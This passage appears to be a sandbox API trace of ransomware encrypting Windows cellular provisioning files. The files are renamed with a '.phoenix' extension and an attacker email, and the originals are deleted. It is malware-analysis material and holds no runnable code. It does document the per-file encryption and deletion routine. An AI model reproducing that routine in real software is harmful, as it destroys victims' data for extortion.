	[0248.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0248.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.104] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.104] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.104] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0248.104] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.104] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x392, lpOverlapped=0x0) returned 1
	[0248.106] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3a0) returned 1
	[0248.106] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x3a0, lpOverlapped=0x0) returned 1
	[0248.107] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0248.107] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.107] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0248.107] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.107] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0248.107] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.107] CloseHandle (hObject=0x2c8) returned 1
	[0248.107] CloseHandle (hObject=0x2c4) returned 1
	[0248.107] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml")) returned 1
	[0248.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.109] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0248.109] CloseHandle (hObject=0x2c4) returned 1
	[0248.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0248.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0248.110] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.110] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0248.110] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0248.110] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0248.111] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0248.111] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.111] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0248.111] CryptDestroyKey (hKey=0x151500) returned 1
	[0248.111] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0248.111] CryptDestroyKey (hKey=0x151680) returned 1
	[0248.111] CloseHandle (hObject=0x2c4) returned 1
	[0248.112] CloseHandle (hObject=0x2c8) returned 1
	[0248.112] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0248.112] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.112] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.113] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=763) returned 1
	[0248.113] CloseHandle (hObject=0x2c8) returned 1
	[0248.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.113] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.113] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0248.114] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.114] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2fb, lpOverlapped=0x0) returned 1
	[0248.123] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300, dwBufLen=0x300 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300) returned 1
	[0248.123] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x300, lpOverlapped=0x0) returned 1
	[0248.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0248.124] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.125] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100, dwBufLen=0x100 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100) returned 1
	[0248.125] CryptDestroyKey (hKey=0x151680) returned 1
	[0248.125] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1b2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1b2, lpOverlapped=0x0) returned 1
	[0248.125] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.125] CloseHandle (hObject=0x2c8) returned 1
	[0248.125] CloseHandle (hObject=0x2c4) returned 1
	[0248.125] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.126] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=695) returned 1
	[0248.126] CloseHandle (hObject=0x2c4) returned 1
	[0248.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0248.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.127] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.127] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.128] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0248.128] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.128] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2b7, lpOverlapped=0x0) returned 1
	[0248.129] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0248.129] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0248.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0248.130] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.130] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100, dwBufLen=0x100 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100) returned 1
	[0248.130] CryptDestroyKey (hKey=0x151080) returned 1
	[0248.130] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1b2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1b2, lpOverlapped=0x0) returned 1
	[0248.130] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.130] CloseHandle (hObject=0x2c4) returned 1
	[0248.130] CloseHandle (hObject=0x2c8) returned 1
	[0248.130] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml")) returned 1
	[0248.131] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.131] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.132] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=497) returned 1
	[0248.132] CloseHandle (hObject=0x2c8) returned 1
	[0248.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.132] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.132] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
